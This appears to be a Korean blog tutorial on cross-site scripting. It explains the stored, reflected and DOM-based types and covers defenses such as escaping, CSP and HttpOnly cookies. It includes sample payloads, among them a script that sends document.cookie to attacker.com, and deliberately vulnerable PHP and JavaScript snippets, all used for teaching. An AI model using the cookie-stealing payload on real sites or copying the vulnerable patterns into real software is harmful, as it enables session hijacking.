q1: XSS (Cross-Site Scripting)

a1:

XSS (Cross-Site Scripting)란?

**XSS (Cross-Site Scripting)**는 웹 애플리케이션의 취약점을 악용하여 악성 스크립트를 삽입하고 실행시키는 보안 공격 방식입니다.
주로 사용자 입력값을 제대로 검증하지 않아서 발생하며, 공격자는 이를 통해 사용자 세션 탈취, 악성 코드 실행, 피싱 등의 공격을 수행할 수 있습니다.

1. XSS의 작동 원리

1. 공격자가 웹 애플리케이션에 악성 스크립트를 삽입합니다.
(예: 게시판 댓글, 검색창, URL 파라미터 등)
2. 서버 또는 클라이언트가 이 입력값을 제대로 검증하지 않고 출력합니다.
3. 피해자가 해당 페이지에 접속하면, 악성 스크립트가 실행됩니다.
4. 스크립트가 브라우저에서 실행되어 피해자에게 악영향을 미칩니다.

2. XSS의 유형

(1) Stored XSS (저장형 XSS)

공격자가 악성 스크립트를 서버에 저장하고, 피해자가 해당 데이터를 읽어올 때 실행됩니다.
• 주요 발생 위치: 게시판, 댓글, 프로필 정보 등 사용자가 입력한 데이터가 저장되는 곳.
• 예제:
1. 공격자가 댓글에 악성 코드 삽입:

<script>alert('XSS 공격!');</script>


2. 댓글이 저장된 후, 다른 사용자가 페이지를 열 때 스크립트 실행.

(2) Reflected XSS (반사형 XSS)

• 공격자가 URL 등의 입력값에 악성 스크립트를 삽입하고, 피해자가 이를 클릭하면 스크립트가 실행됩니다.
• 주요 발생 위치: 검색 결과, URL 파라미터 등을 출력할 때.
• 예제:
1. 공격자가 URL에 악성 코드 포함:

http://example.com/search?q=<script>alert('XSS')</script>


2. 피해자가 이 URL을 클릭하면 브라우저에서 스크립트 실행.

(3) DOM-Based XSS

• 서버가 아닌 **클라이언트 측(JavaScript)**에서 DOM을 조작할 때 발생합니다.
• 주로 클라이언트 측에서 사용자 입력을 처리하거나 DOM을 업데이트할 때 발생.
• 예제:

const searchParam = location.hash.substring(1);
document.getElementById("output").innerHTML = searchParam;

• URL에 #<script>alert('XSS')</script>를 추가하면 브라우저에서 스크립트가 실행됩니다.

3. XSS 공격의 영향

1. 사용자 세션 탈취: 쿠키와 세션 정보를 탈취하여 사용자 계정에 무단 접근.

<script>
document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">');
</script>


2. 브라우저에 악성 코드 실행: 피해자의 브라우저에서 원하지 않는 동작 수행.
3. 피싱: 악성 스크립트를 통해 사용자로부터 민감한 정보(예: 비밀번호)를 탈취.
4. 서비스 무력화: 스크립트를 통해 페이지가 정상적으로 작동하지 않도록 방해.

4. XSS 방어 방법

(1) 사용자 입력 검증

사용자 입력값을 철저히 검증하고, 허용되지 않는 값은 제거하거나 거부.
• 예: 화이트리스트 방식 사용 (<script>와 같은 태그 차단).

(2) 출력 데이터 이스케이프 처리

출력되는 데이터를 HTML, JavaScript, CSS 등에 맞게 이스케이프 처리.
• 예: < → &lt;, > → &gt;, " → &quot;.

(3) Content Security Policy (CSP) 적용

CSP를 설정하여 허용된 스크립트만 실행되도록 제한.

Content-Security-Policy: default-src 'self'


(4) HTTP-only 쿠키 사용

• 쿠키에 HTTP-only 옵션을 설정하면, JavaScript를 통해 쿠키에 접근할 수 없도록 제한.

(5) DOM 조작 시 주의

• 사용자 입력값을 DOM에 삽입할 때, innerHTML 대신 textContent 사용.

// 취약한 코드
element.innerHTML = userInput;

// 안전한 코드
element.textContent = userInput;

5. XSS 예제와 방어 코드

취약한 코드

<form method="GET">
  <input type="text" name="username" placeholder="Enter your name">
  <button type="submit">Submit</button>
</form>
<div>
  Hello, <span id="output"><?= $_GET['username']; ?></span>
</div>

• 문제: 사용자가 ?username=<script>alert('XSS')</script>를 입력하면 스크립트가 실행됩니다.

방어 코드

<div>
  Hello, <span id="output"><?= htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8'); ?></span>
</div>

• 결과: <script> 태그가 HTML로 이스케이프 처리되어 스크립트가 실행되지 않음.

반응형

+ Recent posts